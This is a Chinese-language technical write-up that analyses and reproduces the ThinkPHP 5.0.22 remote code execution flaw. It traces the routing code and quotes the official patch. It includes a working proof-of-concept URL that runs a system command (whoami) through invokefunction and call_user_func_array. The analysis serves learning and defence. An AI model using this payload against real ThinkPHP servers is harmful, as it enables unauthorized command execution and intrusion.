虽然网上已经有几篇公开的漏洞分析文章,但都是针对5.1版本的,而且看起来都比较抽象;我没有深入分析5.1版本,但看了下网上分析5.1版本漏洞的文章,发现虽然POC都是一样的,但它们的漏洞触发原因是不同的。本文分析5.0.22版本的远程代码执行漏洞,分析过程如下:

  (1)漏洞复现

  环境php5.5.38+apache。

  POC:http://172.19.77.44/thinkphp_5.0.22_with_extend/public/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

  thinkphp5.0.22远程代码执行漏洞分析及复现-LMLPHP

  (2)漏洞分析

  看下应用入口文件.\thinkphp_5.0.22_with_extend\public\index.php

 // 定义应用目录
define('APP_PATH', __DIR__ . '/../application/');
// 加载框架引导文件
require __DIR__ . '/../thinkphp/start.php';

  跟进/../thinkphp/start.php

 namespace think;

 // ThinkPHP 引导文件
// 1. 加载基础文件
require __DIR__ . '/base.php'; // 2. 执行应用
App::run()->send();

  第8行中的App::run相当于think/App:run,跟进.\thinkphp_5.0.22_with_extend\thinkphp\library\think\App.php的run函数

     public static function run(Request $request = null)
{ $request = is_null($request) ? Request::instance() : $request; try {
$config = self::initCommon(); // 模块/控制器绑定
if (defined('BIND_MODULE')) {
BIND_MODULE && Route::bind(BIND_MODULE);
} elseif ($config['auto_bind_module']) {
.........................

  此时进入run函数,因为漏洞POC与框架的url处理有关,所以直接跟到URL路由检测函数,关键代码如下:

             // 监听 app_dispatch
Hook::listen('app_dispatch', self::$dispatch);
// 获取应用调度信息
$dispatch = self::$dispatch; // 未设置调度信息则进行 URL 路由检测
if (empty($dispatch)) {
$dispatch = self::routeCheck($request, $config);
}
//var_dump($dispatch['module']);

  thinkphp5.0.22远程代码执行漏洞分析及复现-LMLPHP

  因上述代码中的第7行的变量$dispatch为空,所以进入第8行的routeCheck函数,跟入到此函数,关键代码如下:

     public static function routeCheck($request, array $config)
{
$path = $request->path();
$depr = $config['pathinfo_depr'];
$result = false; // 路由检测
$check = !is_null(self::$routeCheck) ? self::$routeCheck : $config['url_route_on'];
if ($check) {
// 开启路由
if (is_file(RUNTIME_PATH . 'route.php')) {
// 读取路由缓存
$rules = include RUNTIME_PATH . 'route.php';
is_array($rules) && Route::rules($rules);

thinkphp5.0.22远程代码执行漏洞分析及复现-LMLPHP         thinkphp5.0.22远程代码执行漏洞分析及复现-LMLPHP

  上述代码中第3行代码得到POC中的路径,路径变量$path为index/think\app/invokefunction,POC中剩余变量存储在$_GET中,继续往下跟routeCheck函数,关键代码如下:

             // 路由检测(根据路由定义返回不同的URL调度)
$result = Route::check($request, $path, $depr, $config['url_domain_deploy']);
$must = !is_null(self::$routeMust) ? self::$routeMust : $config['url_route_must']; if ($must && false === $result) {
// 路由无效
throw new RouteNotFoundException();
}
} // 路由无效 解析模块/控制器/操作/参数... 支持控制器自动搜索
if (false === $result) {
$result = Route::parseUrl($path, $depr, $config['controller_auto_search']);
}
// var_dump($result['module']);
return $result;
} /**

  上述代码中因变量$result为假,所以会进入第13行代码的Route::parseUrl函数,此函数用来解析变量$path(index/think\app/invokefunction),跟进到此函数,关键代码如下:

     public static function parseUrl($url, $depr = '/', $autoSearch = false)
{ if (isset(self::$bind['module'])) {
$bind = str_replace('/', $depr, self::$bind['module']);
// 如果有模块/控制器绑定
$url = $bind . ('.' != substr($bind, -1) ? $depr : '') . ltrim($url, $depr);
}
$url = str_replace($depr, '|', $url);
list($path, $var) = self::parseUrlPath($url);
$route = [null, null, null];
if (isset($path)) {
// 解析模块
$module = Config::get('app_multi_module') ? array_shift($path) : null;
if ($autoSearch) {
// 自动搜索控制器

  thinkphp5.0.22远程代码执行漏洞分析及复现-LMLPHP

  上述代码的第9行会将变量$url中的符号'/'替换为'|',接着会进入第10行的parseUrlPath函数,关键代码如下:

     private static function parseUrlPath($url)
{
// 分隔符替换 确保路由定义使用统一的分隔符
$url = str_replace('|', '/', $url);
$url = trim($url, '/');
$var = [];
if (false !== strpos($url, '?')) {
// [模块/控制器/操作?]参数1=值1&参数2=值2...
$info = parse_url($url);
$path = explode('/', $info['path']);
parse_str($info['query'], $var);
} elseif (strpos($url, '/')) {
// [模块/控制器/操作]
$path = explode('/', $url);
} else {
$path = [$url];
}
return [$path, $var];
}

  跟到上述代码中的第13行,它会将变量$url变为数组,此时$path数组的值为如下图所示

  thinkphp5.0.22远程代码执行漏洞分析及复现-LMLPHP

  此时重新返回到parseUrl函数,继续往下跟,跟到解析控制器部分,关键代码如下:

             } else {
// 解析控制器
$controller = !empty($path) ? array_shift($path) : null;
}
// 解析操作
$action = !empty($path) ? array_shift($path) : null;
// 解析额外参数
self::parseUrlParams(empty($path) ? '' : implode('|', $path));
// 封装路由
$route = [$module, $controller, $action];
// 检查地址是否被定义过路由
$name = strtolower($module . '/' . Loader::parseName($controller, 1) . '/' . $action);
$name2 = '';
if (empty($module) || isset($bind) && $module == $bind) {
$name2 = strtolower(Loader::parseName($controller, 1) . '/' . $action);
} if (isset(self::$rules['name'][$name]) || isset(self::$rules['name'][$name2])) {
throw new HttpException(404, 'invalid request:' . str_replace('|', $depr, $url));
}
}
return ['type' => 'module', 'module' => $route];

  thinkphp5.0.22远程代码执行漏洞分析及复现-LMLPHP

  上述代码中第3行、第6行会得到控制器和操作方法等,然后会封装路由,数组变量$route如下图所示:

  thinkphp5.0.22远程代码执行漏洞分析及复现-LMLPHP

  上述代码中第22行代码后会以数组的形式返回到routeCheck函数,关键代码如下:

         // 路由无效 解析模块/控制器/操作/参数... 支持控制器自动搜索
if (false === $result) {
$result = Route::parseUrl($path, $depr, $config['controller_auto_search']);
}
// var_dump($result['module']);
return $result;
}

  上述代码中由第3行的数组变量$result接受返回的数据,第6行再将数组变量$result结果返回到run函数中,关键代码如下:

            if (empty($dispatch)) {
$dispatch = self::routeCheck($request, $config);
}
//var_dump($dispatch['module']);
// 记录当前调度信息
$request->dispatch($dispatch); // 记录路由和请求信息
if (self::$debug) {
Log::record('[ ROUTE ] ' . var_export($dispatch, true), 'info');
Log::record('[ HEADER ] ' . var_export($request->header(), true), 'info');
Log::record('[ PARAM ] ' . var_export($request->param(), true), 'info');
} // 监听 app_begin
Hook::listen('app_begin', $dispatch); // 请求缓存检查
$request->cache(
$config['request_cache'],
$config['request_cache_expire'],
$config['request_cache_except']
); $data = self::exec($dispatch, $config);
} catch (HttpResponseException $exception) {
$data = $exception->getResponse();
}

  上述代码中第2行的变量$dispatch接受返回的数组变量$result的值,$dispatch结果如下图所示:

  thinkphp5.0.22远程代码执行漏洞分析及复现-LMLPHP      

  继续跟到上述代码中的第25行的exec函数,它是用来做执行操作的,关键代码如下:

     protected static function exec($dispatch, $config)
{
switch ($dispatch['type']) {
case 'redirect': // 重定向跳转
$data = Response::create($dispatch['url'], 'redirect')
->code($dispatch['status']);
break;
case 'module': // 模块/控制器/操作
$data = self::module(
$dispatch['module'],
$config,
isset($dispatch['convert']) ? $dispatch['convert'] : null
);

  上述代码中因第3行的$dispatch['type']为module,所以会跳到第8行,跟进module函数,关键代码如下:

     public static function module($result, $config, $convert = null)
{
if (is_string($result)) {
$result = explode('/', $result);
} $request = Request::instance(); if ($config['app_multi_module']) {

  上述代码中数组变量$result的值如下图所示:

  thinkphp5.0.22远程代码执行漏洞分析及复现-LMLPHP

  继续跟进module函数,关键代码如下:

         // 是否自动转换控制器和操作名
$convert = is_bool($convert) ? $convert : $config['url_convert']; // 获取控制器名
$controller = strip_tags($result[1] ?: $config['default_controller']);
      //官方给的补丁位置
          if (!preg_match('/^[A-Za-z](\w|\.)*$/', $controller)) {
            throw new HttpException(404, 'controller not exists:' . $controller);
          }
$controller = $convert ? strtolower($controller) : $controller; // 获取操作名
$actionName = strip_tags($result[2] ?: $config['default_action']);
if (!empty($config['action_convert'])) {
$actionName = Loader::parseName($actionName, 1);
} else {
$actionName = $convert ? strtolower($actionName) : $actionName;
}

  其中第5行的变量$controller代表控制器名,它就是数组变量$result的第二个元素的值(think\app),上述代码中标红部分正是官方给出的补丁,它对控制器名加了一个验证。继续往下跟,关键代码如下:

             $actionName = $convert ? strtolower($actionName) : $actionName;
} // 设置当前请求的控制器、操作
$request->controller(Loader::parseName($controller, 1))->action($actionName); // 监听module_init
Hook::listen('module_init', $request);

  thinkphp5.0.22远程代码执行漏洞分析及复现-LMLPHP

  上述代码第5行会设置请求的控制器和操作,操作名变量$actionName为invokefunction,继续往下跟module函数,关键代码如下:

         $vars = [];
if (is_callable([$instance, $action])) {
// 执行操作方法
$call = [$instance, $action];
// 严格获取当前操作方法名
$reflect = new \ReflectionMethod($instance, $action);
$methodName = $reflect->getName();
$suffix = $config['action_suffix'];
$actionName = $suffix ? substr($methodName, 0, -strlen($suffix)) : $methodName;
$request->action($actionName); } elseif (is_callable([$instance, '_empty'])) {

  thinkphp5.0.22远程代码执行漏洞分析及复现-LMLPHP

  上述代码中的第2行is_callable因验证think\app中存在invokefunction方法,所以会进入到这个if语句,第6行代码会获取类名和方法名,继续跟到module函数末尾,代码如下:

         }

         Hook::listen('action_begin', $call);

         return self::invokeMethod($call, $vars);
}

  上述代码的第5行会调用invokeMethod函数,变量$var为空,变量$call的值如下图所示:

  thinkphp5.0.22远程代码执行漏洞分析及复现-LMLPHP

  跟入invokeMethod函数,关键代码如下:

     public static function invokeMethod($method, $vars = [])
{
if (is_array($method)) {
$class = is_object($method[0]) ? $method[0] : self::invokeClass($method[0]);
$reflect = new \ReflectionMethod($class, $method[1]);
} else {
// 静态方法
$reflect = new \ReflectionMethod($method);
} $args = self::bindParams($reflect, $vars); self::$debug && Log::record('[ RUN ] ' . $reflect->class . '->' . $reflect->name . '[ ' . $reflect->getFileName() . ' ]', 'info'); return $reflect->invokeArgs(isset($class) ? $class : null, $args);
}

  上述代码的第11行数组变量$args会获取POC中的余下的参数function=call_user_func_array&vars[0]=system&vars[1][]=whoami的值,结果如下图所示:

  thinkphp5.0.22远程代码执行漏洞分析及复现-LMLPHP

  上述代码中的第15行会调用invokeArgs函数,此函数的作用是使用数组方法给函数传递参数,并执行函数,所以最终执行call_user_func_array函数。此时会返回到exec函数,关键代码如下:

     protected static function exec($dispatch, $config)
{
switch ($dispatch['type']) {
case 'redirect': // 重定向跳转
$data = Response::create($dispatch['url'], 'redirect')
->code($dispatch['status']);
break;
case 'module': // 模块/控制器/操作
$data = self::module(
$dispatch['module'],
$config,
isset($dispatch['convert']) ? $dispatch['convert'] : null
);
break;
case 'controller': // 执行控制器操作

  上述代码中的第5行的变量$data会接受最后的执行数据的值,结果如下图所示,看以看到命令已经执行成功了。

  thinkphp5.0.22远程代码执行漏洞分析及复现-LMLPHP

  (3)小结

  后面的执行细节就不跟了,以上就是版本5.0.22漏洞的分析过程,此漏洞产生的关键原因在routeCheck函数中,关键代码如下:

         // 路由无效 解析模块/控制器/操作/参数... 支持控制器自动搜索
if (false === $result) {
$result = Route::parseUrl($path, $depr, $config['controller_auto_search']);
}
// var_dump($result['module']);
return $result;
}

  上述代码中第3行的Route::parseUrl函数只是简单的将变量$path=index/think\app/invokefunction按斜杠符号'/'分组,并没有考虑符号反斜杠'\'的情况,$result的值为如下如所示:

  thinkphp5.0.22远程代码执行漏洞分析及复现-LMLPHP

  最终导致传入exec函数的控制器为think\app,而最后通过$reflect->invokeArgs(isset($class) ? $class : null, $args)来解析类和参数,从而导致命令执行漏洞。

  正在学习中,分析不当之处还请指正。

04-18 14:56